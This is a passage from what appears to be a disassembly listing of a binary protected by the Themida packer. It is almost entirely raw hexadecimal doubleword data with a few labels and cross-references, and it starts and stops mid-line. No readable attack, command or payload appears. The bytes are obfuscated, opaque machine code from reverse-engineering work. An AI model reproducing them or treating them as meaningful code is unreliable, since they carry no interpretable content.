7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 81C08B00h, 0B6E596D7h, 19870F3Eh, 0E9000000h dd 14h, 0DA2D9145h, 0F506C799h, 0A4E64D16h, 9EBACC11h dd 0BBAAF24Fh, 1B55BD83h, 0F0305E2h, 4A385h, 398D8900h dd 8305E216h, 0E5BB9DBDh, 840F0005h, 490h, 1F019D8Bh, 0B5FF05E2h dd 5E5BB9Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0F4C35242h, 0AFE781FBh, 0FF79AA95h, 0E2172D95h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 16BEEFh, 0FCF60BB8h, 0C59D8943h, 8B05E210h dd 0E20FD99Dh, 91B58B05h, 6A05E5BBh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0C7FBC355h dd 1000106h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 9D8BBA79h, 5E20065h, 0DE95250h, 15000000h dd 0EF60C652h, 2A680066h, 2215B84Ah, 2434895Bh, 5E9h, 114E8700h dd 0B5FF83B6h, 5E5BB9Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 4DC35242h, 74FF946Ah, 0CB81204Eh, 20060EFh dd 95FFD88Bh, 5E22BD1h, 68B0Fh, 0B5890000h, 5E20A9Dh, 0BB91B58Bh dd 850105E5h, 5E204A9h, 10DD858Bh, 6A05E2h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8915A0C3h dd 0C486h, 62D38100h, 8B4493F5h, 0E206819Dh, 0E9958B05h dd 0F805E20Bh, 3CE5CB81h, 0C28318B5h, 55006A04h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0F88B66B3h, 6A205089h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 856EC356h, 0A10BF953h dd 5B53E851h, 5E19D8Bh, 858D05E2h, 5E5CE5Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 33C35242h, 1A1EFD62h dd 6E9A6h, 0E3E00000h, 0E624A622h, 0B88689h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 466BBC3h, 0BE89FD3h, 8B000000h, 0D781C545h, 0EE2AE4D8h dd 0F7801E78h, 6A5B35h, 2800Fh, 6AB30000h, 0C800Fh, 8F0F0000h dd 6, 2621BD8Bh, 0B5FF05E2h, 5E5BB9Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 60C35343h, 0FA64A200h, 68D6105Eh dd 8D858990h, 0FF05E216h, 0E214E995h, 51006A05h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 19F62EA6h, 0BE9B9h, 0D7C80000h, 61CB1B49h, 9C001A28h dd 5750964Eh, 5FFA8B66h, 51006A96h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0E23E1036h, 0A0E78166h dd 9DB5FF07h, 6A05E5BBh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 4378C355h, 2B388238h dd 14059D89h, 0BD8B05E2h, 5E21DC1h, 2D2195FFh, 6A05E2h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 8D6F0C3h, 1102C9CDh, 0AFBF52A2h, 5F17596Bh, 89BD83h dd 0F0005E2h, 3B84h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 31FBE60Ah, 50A155EEh dd 0AFFFBB66h, 66243489h, 8B60DE8Bh, 0E209F58Dh, 0B1858B05h dd 6105E217h, 0BB9DB5FFh, 6A05E5h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 958926C3h, 5E21BB1h dd 41595FFh, 24B705E2h, 0BB9DB5FFh, 6A05E5h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 94751FC3h dd 343E0AB0h, 663E2B84h, 40C9F381h, 5FFDC381h, 95FF4D04h dd 5E20A59h, 49DB8166h, 0CDBD831Fh, 205E224h, 6F840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 7B7594C3h, 10198589h, 858B05E2h, 5E21F35h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3CC35747h dd 8BB9BFDAh, 0C61FD7h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0C7800AC9h, 0F985C75Eh dd 5E20Ch, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 4C2CC350h, 70582CB5h, 0FFF36DE9h dd 57006AFFh, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0D1C04B6Bh, 0F1B1B52Bh, 0DAB70F9Eh, 6AC18Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 811B05C3h, 0B116DCC7h dword_532F18 dd 91858D0Ch, 6A05E20Eh, 3E85200h, 20000000h, 895AC35Ah ; DATA XREF: Themida_:004EE410o ; Themida_:004F0358o dd 81042454h, 15042444h, 42000000h, 73EFC352h, 4D19D89h dd 509005E2h, 8800Fh, 0F530000h, 8Ch, 6A905F00h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0E98BC350h, 0Fh, 8214B1AEh, 6D567C7Ch, 0EDD4172h, 6AB48150h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 5C9112E6h, 45A02B46h, 8589D50Ch, 5E21BB5h dd 9589006Ah, 5E221E9h, 5482858Dh, 0F98A05E6h, 1F05BD89h dd 0C08305E2h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 6DDB354Fh, 4DB0EDA5h dd 8B50B650h, 240489FAh, 1D398531h, 6A05E2h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 50C35040h, 0A9C107C7h dd 860Fh, 95890000h, 5E20CF5h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 60CA31C3h dd 8BA4F180h, 0E22C6DB5h, 0BD2B6105h, 5E2077Dh, 1E2D95FFh dd 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 8B2F07C3h, 0E21699BDh, 29BD3305h, 8B05E21Ah dd 808D8DDEh, 6A05E59Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0A8CCC353h, 6AD1FFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0F3992EC3h, 0B492FCFh, 0E232E19Dh, 0B9BD8305h, 105E200h dd 57850Fh, 0B5310000h, 5E23159h, 0BD8B026Ah, 5E20465h dd 0DA8B6650h, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 54C0C351h, 0E995FFFAh dd 8B05E214h, 0E20161BDh, 0BE96005h, 50000000h, 0AC312979h dd 94EC37E7h, 9D2388E9h, 5E221A1h, 0EE4E961h db 2 dup(0) word_53313E dw 0E8h ; DATA XREF: Themida_:004EF9F0o dd 5D000000h, 548CED81h, 0B70F05E6h, 56006ADEh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0BF0BBF59h dd 4CEF26CDh, 9E858DFCh, 6A05E58Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 75D0C353h dd 4D47346Fh, 0DA8A238Dh, 12E8h, 0C9F9B100h, 95474C76h dd 4CF16F78h, 0E2F58A48h, 667380EEh, 505FF98Bh, 13E8h dd 0C13D9800h, 960EEB07h, 0AF98D0A6h, 0E3C101E9h, 0C50EB80Dh dd 0A38A8CBFh, 4895F62h, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0D9B70FF5h, 30A68ABFh dd 35FF6419h, 0 aBuGWFb8Aadi db '`î;gÏ(`W^fÑ8êaad‰%',0 align 4 aJ_0 db 'j',0 dw 0E853h dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0EC35343h, 0ABDCF2C1h dd 0CD958952h, 5F05E200h, 61DB589h, 0E95105E2h, 0Fh, 7685A360h dd 7EB947F0h, 39A5B141h, 5F6CE2D3h, 232985FFh, 0EE905E2h dd 25000000h, 1F00934Fh, 96EADE56h, 36BB74DAh, 6AFF6A76h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 8006C352h, 8B6BB01Bh, 0E218F5BDh, 119D8B05h dd 0FF05E214h, 0E210E5B5h, 0F88B6605h, 3241BD89h, 95FF05E2h dd 5E2189Dh, 132E9h, 5700B000h, 0E8595660h, 7, 0B0344AFEh dd 5E3468EAh, 70E65B61h, 0C42AD381h, 71E404ADh, 171BD23h dd 613C05E2h, 105830Fh, 0B60F0000h, 0DE8B66C8h, 4A88DF81h dd 6BA1666h, 81000000h, 7042D6D7h, 66C18B1Dh, 0C18313BBh dd 8D8904E8h, 5E21881h, 89E2F766h, 0E2012DBDh, 60C82B05h dd 6810Fh, 0BD890000h, 5E21CE1h, 0EE9h, 77612000h, 0FA0E471Fh dd 74C576C0h, 6180629Ch, 0B589D18Bh, 5E20E69h, 6E9h, 819D8B00h dd 8B05E230h, 0E21A2D85h, 840F5205h, 6, 3B6FC381h, 835B6C2Bh dd 9D8B07C0h, 5E214B5h, 6600C083h, 0D03BF98Bh, 17830Fh dd 0BD0B0000h, 5E2226Dh, 1639BD8Bh, 64E905E2h, 8B000000h dd 0E20B09BDh, 8D8D8B05h, 6605E221h, 83CC88BFh, 840F01E1h dd 4Bh, 0AE9h, 0A8792100h, 0ED976B14h, 83D8D9DAh, 0E2218DA5h dd 0DE8BFE05h, 950B5660h, 5E216E1h, 13E95Eh, 3A4E0000h dd 319454FAh, 250ED851h, 0C9817FDEh, 14745DEEh, 95896147h dd 5E21A2Dh, 22599D8Bh, 0E905E2h, 8D000000h, 0E5DA66B5h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0BCB14652h, 6A911Dh, 0F98D380h, 684h, 0E5BD8B00h dd 0FF05E21Dh, 0E20AB995h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 66750CE5h dd 315BE381h, 0D97B9h, 0AE900h, 2C740000h, 14668B89h, 364F82D9h dd 29FCE183h, 0E22A75BDh, 6AFC05h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0FCE1F5C3h, 22071234h dd 66C02B22h, 5DECF781h, 6AD22Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 37A3CAC3h, 86068638h dd 60E38134h, 0F6E656Dh, 33ADDFBFh, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 2FDB7FC3h, 912617A5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 11C35343h, 9969892Ah, 8B5768B4h dd 880D5BF9h, 8B000000h, 0E9958BFEh, 6A05E20Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0E944C351h, 0E156C18h, 1745BD8Bh, 8BFC05E2h, 0E207618Dh dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 19DF63C1h, 0A5D95120h, 0BC1BD89h, 8B5005E2h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 6AC35343h, 0BD016BAFh dd 5E21585h, 2D7DBD8Bh, 0BD8305E2h, 5E20D79h, 63840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0FF77C357h, 9D8BAA31h, 5E213BDh dd 0B8h, 8D8DFC00h, 5E24C42h, 68C0Fh, 0DF810000h, 45D465E3h dd 6AE1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 1A2861C3h, 0F4E9C00h, 0BD83D9B7h, 5E21B55h dd 0FA840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0D467C355h, 55BD835Dh dd 105E21Bh, 4EA840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0FB0EF6C3h, 812B6D59h dd 8B19BBFDh, 6AE380DEh, 1B55BD83h, 0F0305E2h, 47D86h dd 1DBD8B00h, 6005E209h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0A2C35545h, 0F202F00Bh, 0D34E799Fh, 9E909h dd 5DB90000h, 9C4C65E5h, 667D12DAh, 6AD98Ch, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0F27F79C3h dd 97FFED7Ah, 1BE19529h, 0DE8B05E2h, 8104E180h, 9C43FFE7h dd 319D8B76h, 0A05E20Ch, 71840FC9h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0F8DC351h, 68Eh, 0E5BD8B00h, 305E20Ah, 0E229B59Dh, 1D858B05h dd 8905E224h, 0E2003595h, 0A9853305h, 105E22Ah, 0E20D9DB5h dd 0F9852905h, 9005E223h, 34CEA6BFh, 5E95017h, 9E000000h dd 9A4FB6B5h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 0FDDA093Fh, 0C4C38166h, 0E8006A0Ah dd 5, 0E04C296Ah, 32EF80C4h, 2421685Fh, 0DE8D2F4h, 12000000h dd 0C3FB4873h, 2034BA42h, 917644A2h, 118E0Fh, 0BE80000h dd 0DB000000h, 6BBD6084h, 0C841575Eh, 5F5F5138h, 0DE240481h dd 6A2D2ADFh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 1BE2C353h, 5765FB2Ah, 0CBD9EF81h dd 0FF5F5D8Bh, 0E2083995h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0BB9C0F70h dd 5D3F9BDh, 0BB9D8589h, 6A05E5h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0CEB2E3C3h, 1CE98205h dd 6A000002h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 347C357h, 5C020260h, 0FBF0FA9h dd 9531DEBFh, 5E215F1h, 0BB95858Bh, 9D8B05E5h, 5E20FA5h dd 1800C7h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 4DA328C3h, 0EE9E591h, 97000000h dd 0BE4570Bh, 7E036562h, 0A567216Bh, 99B58BDFh, 0FC05E5BBh dd 1549BD8Bh, 858B05E2h, 5E200F9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 6DC35242h, 468A1B82h, 353FE39h dd 0E21551BDh, 6895B05h, 1D858BF9h, 6A05E224h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 1684C350h, 6A044689h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0F7CAC357h, 0BF963D0Fh dd 5D779FCBh, 2880F50h, 0B7000000h, 6A9699h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0FF5F37C3h dd 78F78166h, 13E950h, 812D0000h, 922A806Fh, 5D434BDCh dd 362178F7h, 311FD1CCh, 95B5FFCAh, 6A05E5BBh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0E3FEC351h, 0FED9589h, 816605E2h, 68A48ACBh, 0F0261F84h dd 481FA8Bh, 0F8E47B24h, 5E8600Fh, 5E000000h, 2ED66EFEh dd 5FF2BF0Fh, 10E9h, 7B1C3C00h, 0ECC95FB1h, 722EEAC6h dd 0CBE05984h, 858D61F4h, 5E5BB9Dh, 4D18589h, 0BF6605E2h dd 66502B15h, 89DEE0BBh, 6A2404h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 1892EEC3h, 2297FACFh, 0EE9h, 4525CF00h, 53AD2E7Fh, 7AC42C41h dd 8B18CCCFh, 0E21D31BDh, 3995FF05h, 6A05E208h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0F301C356h, 61FC59B7h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 6FC35242h, 2EFAD41Eh, 66A4D002h, 67BFEB81h dd 19D58D29h, 85C705E2h, 5E21B55h, 3, 0B73F33BBh, 8185BF6Ch dd 0BD830BF3h, 5E5BB9Dh, 4F840F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0BDC8C351h, 89FD2F43h, 298D317Ah, 305E201h, 0E21B699Dh dd 37E905h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 305049C3h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 0A59D8BC0h, 6A05E22Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 2DDFC357h, 0CC569D88h, 3705BF66h, 1B55BD83h dd 0F0305E2h, 40485h, 11E900h, 0D3080000h, 0F6DFDAC3h dd 0D3560A58h, 3B590111h, 838712B4h, 0E5BB9DBDh, 840F0005h dd 3E1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0CC35545h, 0F839A844h, 0E56CC8F5h, 16F5BD8Bh, 0B5FF05E2h dd 5E5BB9Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 62C35545h, 20C6128Dh, 3B89FC44h, 9E95604h, 0D9000000h dd 3370C4F2h, 90AF49h, 2D95FF5Bh, 6A05E217h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 96BEC350h, 5ED7D756h, 0F88B416Bh, 0BB91B58Bh, 6A05E5h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 7BB25EC3h, 0EB9BD8Bh, 0DB8005E2h, 106C71Ah, 0BF000100h dd 19B69286h, 0FA8B6696h, 8B525050h, 50310FDFh, 830F52h dd 0F000000h, 156FBB31h, 585A4DEFh, 8A96585Ah, 9DB5FFF9h dd 6605E5BBh, 0FC38F381h, 1E018501h, 95FF05E2h, 5E22BD1h dd 6E8FCh, 385B0000h, 8E0AA0EAh, 0AE9h, 25BADD00h, 4FA80AC2h dd 5F5CD6DCh, 0BB91B58Bh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 8B568AC3h, 0E210DD85h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 9D8932BEh, 5E21435h, 0C48689h, 0C7800000h dd 0E9958BFCh, 0F505E20Bh, 6A04C283h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 5337C350h dd 0B87AAF53h, 31208AA5h, 0E209418Dh, 618D3105h, 8905E224h dd 858D2050h, 5E5CE5Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 82C35141h, 65E7FABFh, 0B88689B6h, 89000000h dd 0E21CF5BDh, 6D9D8B05h, 6A05E222h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0AE1985CCh dd 9DB5FF96h, 6A05E5BBh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 1D6AC353h, 0BB07913Fh dd 7E9DBh, 89C90000h, 0FA65234Eh, 0E995FF75h, 6A05E214h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 31CAC350h, 0BF0F848Fh, 1DBD89D9h, 5005E209h dd 89243489h, 0E2111D85h, 9DB5FF05h, 6A05E5BBh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0D0BEC350h, 2D2195FFh, 83FC05E2h, 0E20089BDh, 840F0005h dd 23h, 1BE1BD8Bh, 0BF9605E2h, 250A9149h, 0AE950h, 0D480000h dd 0BD775FBFh, 0C72390E8h, 0BD9D0196h, 0FF05E200h, 0E5BB9DB5h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 11B5290Ah, 0FF05E211h, 0E2041595h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0E0BBDE89h, 0F880AD1Dh, 0B5FF0462h, 5E5BB9Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 98C35141h, 1BBDBD01h dd 9D2905E2h, 5E20C15h, 0A5995FFh, 6A05E2h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 4190D6C3h dd 0CE8h, 8E0D1100h, 22AFEB76h, 6C0CA63Ah, 0A1858949h dd 5F05E200h, 24CDBD83h, 0F0205E2h, 3984h, 0CF816600h dd 858B4670h, 5E21F35h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 8FC35141h, 946C69A2h, 0A747FE69h, 0C603h dd 0C85BD23h, 85C705E2h, 5E20CF9h, 0 dd 66DB8166h, 0F2CBE998h, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 5138C8C3h, 9B0BAB81h dd 0E80D4583h, 0Eh, 4DDC3C7Bh, 869005C4h, 4486962Eh, 0BD039A0Ah dd 5E2193Dh, 6AC18B5Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 5C2EC356h, 8E960D5h dd 0B2000000h, 9E2150EEh, 8BE31E24h, 0E226959Dh, 858D6105h dd 5E20E91h, 31A1BD8Bh, 8B9005E2h, 0DE850D9h, 67000000h dd 1F71C222h, 70556791h, 39F28C3Ah, 6A905Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0A09BCAC3h dd 6A892B95h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 896056F3h, 0E219C19Dh, 0C6BF6605h dd 0F5F6116h, 38Ch, 70CF8000h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 858996C3h dd 5E218DDh, 65D2858Dh, 6A05E6h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E9B0E7C3h, 10h, 0BF12FC17h dd 4FBCBB4Ah, 207635C0h, 4650FD94h, 0BCD07CBFh, 5C08344h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 65C35141h dd 0FF110954h, 0F80BB32Bh, 0A9BB5690h, 5B75477Dh, 1E830F50h dd 0F000000h, 1881h, 13E900h, 0ACDA0000h, 3937AAC6h, 14B4655Dh dd 0B1220407h, 9DB7C7C0h, 6A907Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 116F18C3h, 6A006Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0B74A13C3h, 8B5067A6h, 0E2044D9Dh, 6A006A05h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0DF56C357h, 5830F92h, 66000000h, 5902CF81h, 1E2D95FFh dd 6A05E2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0FD0AB9C3h, 53557036h, 0BE758C9h, 0E2199D9Dh dd 808D8D05h, 6A05E59Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0C12EC353h, 8E9AA192h dd 0CF81D1FFh, 460C571Eh, 0B9BD83h, 0F0105E2h, 5885h, 0F8BF0F00h dd 6E9026Ah, 5F000000h, 5192D1E9h, 0CDBB50BBh, 892F44BBh dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0F838E9C3h, 1DB2E0EAh, 85896B77h, 5E231B1h dd 14E995FFh, 0AE905E2h, 8C000000h, 3124C717h, 4AC833C1h dd 0D85E95Eh, 0E80000h, 5D000000h, 65DCED81h, 8B5305E6h dd 0E20FCDBDh, 81665F05h, 8B3A8DDBh, 0E215F19Dh, 9E858D05h dd 8A05E58Eh, 0BF6690FCh, 515016FEh, 5FDF8B66h, 11BD8B90h dd 6405E22Bh, 35FFh, 89640000h, 25h, 7810F00h, 60000000h dd 9DB866F5h, 85FF6170h, 5E22329h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 40C35747h, 0E8EA3096h, 9F5C9807h dd 12E8h, 23744200h, 33FA330Bh, 0E2ACF63Bh, 0BA8D1ABFh dd 0E80FC175h, 10h, 0E44ACE31h, 0D96755DCh, 9743A5E3h dd 4B4F6DF5h, 5B5FDF8Bh, 6AD98B66h, 0BD8B60FFh, 5E23081h dd 0B5FF61F5h, 5E21FD9h, 14B18D89h, 95FF05E2h, 5E2189Dh dd 0F0E9h, 0DA8B6600h, 665700B0h, 5B6D5DBBh, 9D8B70E6h dd 5E20D61h, 0BD0971E4h, 5E23125h, 830F613Ch, 0CDh, 24199D89h dd 0B60F05E2h, 0F78166C8h, 6BAE61Bh, 0BB000000h, 1A083BB5h dd 9D89C18Bh, 5E22AEDh, 0F04E8C1h, 68Eh, 298D8900h, 6605E21Ah dd 9ABBE2F7h, 2B125138h, 0DA8B66C8h, 0BD33D18Bh, 5E23109h dd 2E9h, 8BFB8B00h, 0E22CA985h, 8E905h, 48700000h, 818263CEh dd 0C0835AF6h, 0FBE78107h, 293D6255h, 0E21971BDh, 0C08305h dd 0BE9h, 1DEF3D00h, 0E98EB612h, 120BB4F2h, 830FD03Bh dd 11h, 22E5BD8Bh, 3AE905E2h, 29000000h, 0E22CA585h, 0F58D8B05h dd 6605E21Bh, 0E399C381h, 0F01E183h, 2084h, 0F5A58300h dd 0FE05E21Bh, 0EB1B589h, 958905E2h, 5E22CA9h, 8D89D98Ah dd 5E21821h, 0E9h, 5B58D00h, 6A05E5EAh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 6FFBC355h dd 3E53B45Ah, 0AD7BBBC3h, 6A18EEh, 0FFDE8B66h, 0E20AB995h dd 0BD9D8B05h, 0B905E21Fh, 0BEDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 12C35040h, 0C2E4F05Dh, 5EBF66h dd 5E9h, 39E4FD00h, 0E183FD7Ch, 52006AFCh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 796477F0h dd 66606095h, 63ACCB81h, 23C99D89h, 0F6105E2h, 0FC61F9BFh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0ACC35343h dd 0FC8AEEF8h, 6AC02Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0D22B53C3h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 890F60B3h, 7, 1850Fh, 81FC0000h, 9CC6AED3h dd 880D4Bh, 958B0000h, 5E20BE9h, 0B810F60h, 0E9000000h dd 6, 0B2CE69C4h, 0B589600Bh, 5E21B9Dh, 618D8B61h, 6A05E207h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0C40BC353h, 0C8D8CABh, 6830F1Dh, 8B000000h dd 0E208EDBDh, 0C28B5005h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 4D66C357h, 5237D7B6h, 6EC868BFh dd 6A5B38h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0D4FABAC3h, 0A7831DE6h, 0BD83B3CFh, 5E20D79h dd 3F840F00h, 8B000000h, 0B8FBh, 0BD8B0000h, 5E20D05h dd 4C428D8Dh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 4AD9CCC3h, 4A4FC381h, 0E1FF283Ah dd 0E719D8Bh, 0BD8305E2h, 5E21B55h, 2E840F00h, 0E9000005h dd 0Fh, 800C9A2Fh, 0C97D21E1h, 460C40D2h, 51B604DBh, 14E8h dd 5E4FBA00h, 8CF38853h, 52BA98D5h, 89AC3365h, 4C3B910Bh dd 0DF81661Ah, 5B5B088Eh, 1B55BD83h, 0F0105E2h, 50784h dd 0E9515300h, 0Ah, 0B26FA382h, 